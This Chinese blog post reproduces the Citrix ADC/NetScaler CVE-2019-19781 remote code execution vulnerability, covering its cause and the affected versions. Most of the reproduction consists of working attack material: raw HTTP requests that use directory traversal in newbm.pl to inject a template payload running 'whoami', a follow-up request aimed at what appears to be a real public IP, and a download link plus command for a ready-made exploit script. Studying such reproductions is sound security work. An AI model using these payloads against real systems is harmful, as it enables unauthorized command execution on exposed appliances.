CVE-2019-19781 远程代码执行漏洞复现

漏洞原因:

Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。

注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关。

漏洞影响范围:

Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0

漏洞利用过程:

1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令

漏洞复现:

方法一:

访问 https://target-ip 或 http://target-ip
登录系统,默认用户和密码登录:nsroot/nsroot

利用目录穿越写入命令语句到newbm.pl文件中

数据包:

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: target-ip
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/15ffbdca
Content-Length: 89

url=http://example.com&title=15ffbdca&desc=[% template.new('BLOCK' = 'print `whoami`') %]

GET方式访问写入的xml文件

数据包:

GET /vpns/portal/15ffbdca.xml HTTP/1.1
Host: 50.202.211.151
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
NSC_NONCE: nsroot
NSC_USER: nsroot

  

方法二:

EXP下载地址:https://codeload.github.com/jas502n/CVE-2019-19781/zip/master

python CVE-2019-19781-Citrix-ADC-Remote-Code-Execution.py https://target-ip

 提示http代理错误,看了下exp代码,需要设置本地代理。

 文件上传成功,成功执行命令:ls

  

posted @ 2020-03-21 22:08  Panisme  阅读(7385)  评论(0编辑  收藏  举报